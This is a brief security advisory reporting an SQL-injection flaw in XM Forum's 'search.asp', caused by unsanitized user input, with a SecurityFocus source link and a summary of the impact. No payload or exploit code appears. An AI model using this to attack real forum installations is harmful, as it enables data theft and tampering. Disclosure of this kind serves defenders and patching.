XM Forum - 'search.asp' SQL Injection

source: https://www.securityfocus.com/bid/55299/info

XM Forum is prone to an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
